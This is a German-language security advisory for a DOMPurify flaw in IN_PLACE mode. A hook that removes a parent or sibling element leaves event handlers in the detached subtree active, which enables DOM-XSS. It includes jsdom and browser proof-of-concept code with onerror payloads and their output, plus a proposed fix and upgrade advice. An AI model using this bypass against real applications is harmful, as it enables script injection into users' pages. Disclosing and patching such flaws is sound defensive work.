DOMPurify IN_PLACE: Hook, der ein übergeordnetes oder Geschwisterelement entfernt, belässt Event-Handler des abgetrennten Teilbaums aktiv (unvollständiger Fix für GHSA-p98j-92pf-mc4p)
Zusammenfassung
Der Fix 3.4.16 für GHSA-p98j-92pf-mc4p deckt nur Hooks ab, die den Knoten entfernen, für den sie aufgerufen wurden. Wenn ein IN_PLACE-Hook einen anderen Knoten entfernt – wie etwa das übergeordnete Element des aktuellen Knotens oder ein noch nicht besuchtes Geschwisterelement –, wird dieser Teilbaum weder durchlaufen noch neutralisiert. Darin enthaltene Event-Handler verbleiben auf den Elementen, sodass ein <img onerror>, das bereits geladen wurde, nach der Rückkehr von sanitize() ausgelöst wird.
In der README heißt es: „Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns.“ Dies trifft nicht zu, wenn der entfernte Knoten nicht der eigene Knoten des Hooks ist.
Getestete Versionen
- 3.4.16 (aktuellste) und main bei 18f8f0e
- ebenso 3.4.15, 3.4.12 und 2.5.8
jsdom für die unten stehende Matrix und Chromium (Playwright) für das tatsächliche Auslösen des Events.
Details
src/purify.ts Zeile 2134 (dist/purify.cjs.js Zeile 2009 in 3.4.16), _handleHookDetachedNode():
if (currentNode === root || getParentNode(currentNode) !== null) {
return false;
}
if (IN_PLACE) {
_neutralizeSubtree(currentNode);
}
Es wird lediglich geprüft, ob currentNode sein übergeordnetes Element verloren hat. Wenn ein Hook currentNode.parentNode (oder einen beliebigen Vorfahren) entfernt, hat currentNode weiterhin ein übergeordnetes Element, sodass nichts geschieht. Der Rest des entfernten Teilbaums ist für den Walker nicht mehr erreichbar und befindet sich nicht in DOMPurify.removed, weshalb der Durchlauf nach dem Walk ihn ebenfalls nicht erfasst. Dasselbe geschieht, wenn ein Hook ein nachfolgendes Geschwisterelement entfernt. Dies betrifft alle fünf Element- und Attribut-Hooks.
PoC (jsdom)
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document
for (const mode of ['self', 'parent', 'nextSibling']) {
const DOMPurify = createDOMPurify(win)
doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
'<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
const root = doc.getElementById('root')
const evil = doc.getElementById('evil')
// app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.getAttribute && node.getAttribute('class') === 'bad') {
if (mode === 'self') node.remove()
if (mode === 'parent') node.parentNode.remove()
if (mode === 'nextSibling') node.nextElementSibling.remove()
}
})
DOMPurify.sanitize(root, { IN_PLACE: true })
console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}
Ausgabe auf 3.4.16:
3.4.16 self onerror = null
3.4.16 parent onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"
Im self-Modus erreicht der Walker das zweite Bild weiterhin und entfernt onerror. In den beiden anderen Modi wird das zweite Bild abgetrennt, während sein Handler gesetzt bleibt. Dasselbe Ergebnis wird mit jedem von beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes und afterSanitizeAttributes erzielt.
PoC (Browser)
Dasselbe Verhalten auf einer echten Seite, ausgeliefert über 127.0.0.1 und in Chromium geöffnet:
<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
const D = DOMPurify(window);
D.addHook('afterSanitizeAttributes', n => {
if (n.getAttribute && n.getAttribute('class') === 'bad') {
if (mode === 'parent') n.parentNode.remove();
if (mode === 'self') n.remove();
}
});
const root = document.createElement('div');
document.body.appendChild(root);
root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
D.sanitize(root, { IN_PLACE: true });
return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
document.getElementById('log').textContent =
'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired);
}, 1500);
</script>
Ergebnis auf 3.4.16:
version=3.4.16
self out=<div><figure><img src="x"></figure><p>ok</p></div>
parent out=<div><p>ok</p></div>
fired=["parent"]
Der zurückgegebene Baum ist in beiden Fällen bereinigt, der Handler auf dem abgetrennten Bild wird auf der Seite jedoch für parent ausgeführt.
Auswirkungen
Eine Anwendung, die IN_PLACE mit einem Hook verwendet, der ein umschließendes Element oder ein benachbartes Element entfernt (beispielsweise „verwerfe das gesamte <figure>, wenn dessen Bild nicht erlaubt ist“), ist nach der Rückkehr von sanitize() für DOM-XSS durch bösartiges Markup eines Angreifers anfällig. Dies setzt einen solchen Hook voraus und fällt daher unter „input plus an application choice“ in SECURITY.md; es bricht jedoch die Garantie, die die README für von Hooks abgetrennte Knoten gibt, und entspricht demselben Muster wie GHSA-55q2-fjhq-7xh7 und GHSA-p98j-92pf-mc4p.
Vorgeschlagener Fix
Anstatt nur currentNode zu prüfen, sollte nach jedem Hook-Aufruf geprüft werden, ob außerhalb des aktuellen Knotens etwas abgetrennt wurde. Zwei einfache Möglichkeiten:
- Vor dem Aufruf eines Hooks im
IN_PLACE-Modus wird der nächste Knoten, den der Walker besuchen wird, sowie die Vorfahren des aktuellen Knotens vorgemerkt; nach dem Hook werden alle davon neutralisiert, die nicht mehr unterrootangehängt sind. - Oder nach dem Durchlauf wird jedes Element neutralisiert, das im ursprünglichen Baum vorhanden war, aber nicht mehr mit
rootverbunden ist (beispielsweise durch Erfassen der Elemente vor dem Walk).
Was zu tun ist
Aktualisieren Sie dompurify auf Version 3.4.17 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | dompurify | < 3.4.17 | 3.4.17 |
Verweise
- CVSS-Vektor
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-693, CWE-79- Plattform
- npm
- Paket
dompurify- Veröffentlicht
- 22.10.2026
- Aktualisiert
- 24.10.2026 00:07
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-mrv2-3pqr-j5jr - CC BY 4.0
Schwachstellenhistorie: dompurify
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 33
- Erste → letzte
- 08.2020 10.2026
- Ohne Fix
- 1
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 3
- Hoch 4
- Mittel 19
- Niedrig 7
Veröffentlichungen pro Jahr
- 2020: 3
- 2021: 0
- 2022: 0
- 2023: 1
- 2024: 3
- 2025: 1
- 2026: 25
-
DOMPurify IN_PLACE: Hook, der ein übergeordnetes oder Geschwisterelement entfernt, belässt Event-Handler des abgetrennten Teilbaums aktiv (unvollständiger Fix für GHSA-p98j-92pf-mc4p) dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.